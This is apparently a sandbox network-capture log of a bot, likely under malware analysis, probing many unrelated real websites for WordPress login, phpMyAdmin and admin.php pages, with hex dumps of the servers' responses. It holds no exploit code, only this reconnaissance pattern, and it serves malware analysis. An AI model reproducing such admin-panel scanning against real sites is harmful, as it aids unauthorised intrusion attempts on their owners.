2023-12-20 02:13:29 UTC	175	OUT	GET /wp-login.php HTTP/1.1 Host: majormega.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:29 UTC	788	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FE5%2F8Pzyt0ZNQbm6klSHu43kfT75Opr2e79XXppncS0K72ZaB6NyjpA8TWZ%2B%2FFxglSWiTs%2FKakrfUDMz2f8wJpWu4bXGNgWUscjUoeLdNkMAB2ekkPqCmC1HwyD%2F9inf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845dcb8800748a-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:29 UTC	581	IN	Data Raw: 31 35 33 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 4d 61 6a 6f 72 4d 65 67 61 2e 63 6f 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 72 63 68 69 76 65 22 Data Ascii: 1531<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; MajorMega.com — WordPress</title><meta name="robots" content="max-image-preview:large, noindex, noarchive"
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 31 30 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 6f 67 69 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 6f 67 69 6e 2e Data Ascii: wp-admin/css/forms.min.css?ver=6.3.2" media="all" /><link rel="stylesheet" id="l10n-css" href="https://majormega.com/wp-admin/css/l10n.min.css?ver=6.3.2" media="all" /><link rel="stylesheet" id="login-css" href="https://majormega.com/wp-admin/css/login.
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 70 61 73 73 77 6f 72 64 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 64 61 73 68 69 63 6f 6e 73 20 64 61 73 68 69 63 6f 6e 73 2d 76 69 73 69 62 69 6c 69 74 79 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 66 6f 72 67 65 74 6d 65 6e 6f 74 22 3e 3c 69 6e 70 75 74 20 6e 61 6d 65 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 20 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 20 69 64 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 20 76 61 6c 75 65 3d 22 66 6f 72 65 76 65 72 22 20 2f 3e 20 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 3e 52 65 6d 65 6d 62 65 72 20 4d 65 3c 2f 6c 61 62 65 6c 3e 3c 2f 70 3e 0a 3c Data Ascii: password"><span class="dashicons dashicons-visibility" aria-hidden="true"></span></button></div></div><p class="forgetmenot"><input name="rememberme" type="checkbox" id="rememberme" value="forever" /> <label for="rememberme">Remember Me</label></p><
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 30 22 20 69 64 3d 22 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 69 6e 65 72 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 2e 32 22 20 69 64 3d 22 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 69 6e 65 72 74 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 Data Ascii: <script src="https://majormega.com/wp-includes/js/zxcvbn-async.min.js?ver=1.0" id="zxcvbn-async-js"></script><script src="https://majormega.com/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2" id="wp-polyfill-inert-js"></script><script sr
2023-12-20 02:13:29 UTC	745	IN	Data Raw: 70 2d 61 64 6d 69 6e 5c 2f 61 64 6d 69 6e 2d 61 6a 61 78 2e 70 68 70 22 7d 7d 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 77 70 2d 75 74 69 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 69 64 3d 22 77 70 2d 75 74 69 6c 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 22 3e 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 65 39 65 39 61 62 34 36 62 32 22 7d 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 Data Ascii: p-admin\/admin-ajax.php"}};</script><script src="https://majormega.com/wp-includes/js/wp-util.min.js?ver=6.3.2" id="wp-util-js"></script><script id="user-profile-js-extra">var userProfileL10n = {"user_id":"0","nonce":"e9e9ab46b2"};</script><script s
2023-12-20 02:13:29 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2023-12-20 02:13:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.4	59677	65.8.178.81	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:29 UTC	187	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.atelcommunications.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:29 UTC	1769	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Date: Wed, 20 Dec 2023 02:13:24 GMT Cache-Control: public, max-age=31536000 access-control-allow-origin: * access-control-allow-methods: GET, POST, OPTIONS access-control-allow-headers: Content-Type content-security-policy-report-only: default-src 'self' *.a8b.co strict-transport-security: max-age=31536000; includeSubDomains referrer-policy: strict-origin-when-cross-origin permissions-policy: accelerometer=(self), ambient-light-sensor=(self), autoplay=(self), battery=(self), camera=(self), cross-origin-isolated=(self), display-capture=(self), document-domain=(self), encrypted-media=(self), execution-while-not-rendered=(self), execution-while-out-of-viewport=(self), fullscreen=(self), geolocation=(self), gyroscope=(self), keyboard-map=(self), magnetometer=(self), microphone=(self), midi=(self), navigation-override=(self), payment=(self), picture-in-picture=(self), publickey-credentials-get=(self), screen-wake-lock=(self), sync-xhr=(self), usb=(self), web-share=(self), xr-spatial-tracking=(self), clipboard-read=(self), clipboard-write=(self), gamepad=(self), speaker-selection=(self), conversion-measurement=(self), focus-without-user-activation=(self), hid=(self), idle-detection=(self), interest-cohort=(self), serial=(self), sync-script=(self), trust-token-redemption=(self), unload=(self), window-management=(self), vertical-scroll=(self) x-frame-options: SAMEORIGIN x-content-type-options: nosniff Vary: Accept-Encoding X-Cache: Error from cloudfront Via: 1.1 9df0661694135666b2bd52748cde9006.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MIA3-C4 X-Amz-Cf-Id: w7CcFhRa43XXGAM63U14KQQ0dS2OJy0zEthlYrc54_f8VsoZ7qf9Hg== Age: 5
2023-12-20 02:13:29 UTC	16384	IN	Data Raw: 35 37 35 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 61 38 62 2e 63 6f 2f 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 69 6d 61 67 65 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 Data Ascii: 575d<!DOCTYPE html><html lang="en"><head> <link rel="preconnect" href="https://ajax.googleapis.com" /> <link rel="preconnect" href="https://code.a8b.co/" /> <link rel="preload" as="image" href="/images/logo.png"> <link rel="preconnect
2023-12-20 02:13:29 UTC	5989	IN	Data Raw: 69 74 68 20 6f 6e 65 20 6f 66 20 6f 75 72 20 74 65 63 68 6e 6f 6c 6f 67 79 20 73 6f 6c 75 74 69 6f 6e 20 65 78 70 65 72 74 73 20 66 6f 72 20 61 20 6e 6f 20 70 72 65 73 73 75 72 65 2c 20 68 61 73 73 6c 65 20 66 72 65 65 20 65 73 74 69 6d 61 74 65 20 6f 66 20 74 68 65 20 62 75 73 69 6e 65 73 73 20 74 65 63 68 6e 6f 6c 6f 67 79 20 73 6f 6c 75 74 69 6f 6e 73 20 79 6f 75 20 6e 65 65 64 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 63 6f 6e 74 61 63 74 22 3e 47 65 74 20 69 6e 20 54 6f 75 63 68 20 77 69 74 68 20 55 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 Data Ascii: ith one of our technology solution experts for a no pressure, hassle free estimate of the business technology solutions you need.</p> <a href="/contact">Get in Touch with Us</a> </div> </div> <div class="wrap"> <div cla
2023-12-20 02:13:29 UTC	1665	IN	Data Raw: 36 37 61 0d 0a 20 20 20 20 20 20 3c 2f 75 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6d 61 72 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 74 6f 6d 69 63 38 62 61 6c 6c 2e 63 6f 6d 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 61 38 62 2e 63 6f 2f 69 6d 61 67 65 73 2f 61 38 62 6d 61 72 6b 2d 69 6e 76 65 72 74 2e 73 76 67 22 20 61 6c 74 3d 22 41 74 6f 6d 69 63 38 42 61 6c 6c 20 57 65 62 20 50 72 65 73 65 6e 63 65 20 4d 61 6e 61 67 65 6d 65 6e 74 22 20 77 69 64 74 68 3d 22 31 35 34 22 20 68 65 69 67 68 74 3d Data Ascii: 67a </ul> <a class="mark" href="https://www.atomic8ball.com/" target="_blank" rel="noopener"> <img src="https://code.a8b.co/images/a8bmark-invert.svg" alt="Atomic8Ball Web Presence Management" width="154" height=
2023-12-20 02:13:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.4	59669	66.96.160.139	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:29 UTC	174	OUT	GET /admin.php HTTP/1.1 Host: ads-ecuador.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:29 UTC	222	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:29 GMT Content-Type: text/html Content-Length: 867 Connection: close Server: Apache/2 Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT Accept-Ranges: bytes Age: 0
2023-12-20 02:13:29 UTC	867	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//a

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.4	59579	34.149.87.45	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:29 UTC	185	OUT	GET /wp-login.php HTTP/1.1 Host: www.u90soccercenter.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:29 UTC	1080	IN	HTTP/1.1 404 Not Found Content-Length: 2929 Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038409.60916549473621528520 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:29 GMT X-Served-By: cache-dfw-kdfw8210121-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLjBdxec7r7DHGEpZo2ij+25kavE0ZtMXws1mfakihq4B,2d58ifebGbosy5xc+FRaliqrJS2SJ0dLsCPp8d9WbtWhcgfYQ+Sr3Zn66siAExjl8cgermdYkow91pbcA2rhWg==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nL,HGBagNbHaHjyb4d/UK6fckbYqB6/hwX5/SRH1bPtEcQ=,eeDBBxD+YVnHnsF07EtfmfAuG7xlWm190hK3ivLce/A=,0gGrL7iazMoiuqlb7dEO3ZdfI6TqbNh4OZh++xsYw0miThpsmb4Q7JPiSqMAW3s6569SoDlDV8E8KUfqEoJPbQ== Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:29 UTC	172	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user
2023-12-20 02:13:29 UTC	1252	IN	Data Raw: 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: -scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name=
2023-12-20 02:13:29 UTC	1252	IN	Data Raw: 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f Data Ascii: -party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/
2023-12-20 02:13:29 UTC	253	IN	Data Raw: 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.4	59620	209.126.24.60	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:29 UTC	266	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: horsetech.com Accept: / Accept-Encoding: deflate, gzip Cookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=4e724b7a2bfde0ea5e5941f7093acbd3 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:30 UTC	478	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=4e724b7a2bfde0ea5e5941f7093acbd3; expires=Wed, 20-Dec-2023 03:13:29 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=Lax Pragma: no-cache Cache-Control: max-age=0, must-revalidate, no-cache, no-store Expires: Mon, 19 Dec 2022 17:32:44 GMT
2023-12-20 02:13:30 UTC	6744	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 2d 52 65 70 6f 72 74 2d 4f 6e 6c 79 3a 20 66 6f 6e 74 2d 73 72 63 20 2a 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 67 73 74 61 74 69 63 2e 63 6f 6d 20 2a 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 2a 2e 74 77 69 74 74 65 72 2e 63 6f 6d 20 2a 2e 74 79 70 65 6b 69 74 2e 6e 65 74 20 2a 2e 74 77 69 6d 67 2e 63 6f 6d 20 2a 2e 74 72 75 73 74 65 64 73 68 6f 70 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 2a 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 20 6d 61 70 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 79 6f 74 70 6f 2e 63 6f 6d 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 3b 20 66 6f 72 6d 2d 61 63 74 69 6f 6e 20 73 65 63 75 72 65 2e Data Ascii: Content-Security-Policy-Report-Only: font-src .googleapis.com .gstatic.com .cloudflare.com .twitter.com .typekit.net .twimg.com .trustedshops.com .google.com .youtube.com maps.googleapis.com .yotpo.com 'self' 'unsafe-inline'; form-action secure.
2023-12-20 02:13:30 UTC	970	IN	Data Raw: 63 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 20 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 76 61 72 20 42 41 53 45 5f 55 52 4c 20 3d 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 27 3b 0a 20 20 20 20 76 61 72 20 72 65 71 75 69 72 65 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 27 62 61 73 65 55 72 6c 27 3a 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 73 74 61 74 69 63 5c 75 30 30 32 46 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 5c 75 30 30 32 46 66 72 6f 6e 74 Data Ascii: c000<!doctype html><html lang="en"> <head > <script> var BASE_URL = 'https\u003A\u002F\u002Fhorsetech.com\u002F'; var require = { 'baseUrl': 'https\u003A\u002F\u002Fhorsetech.com\u002Fstatic\u002Fversion1701388420\u002Ffront
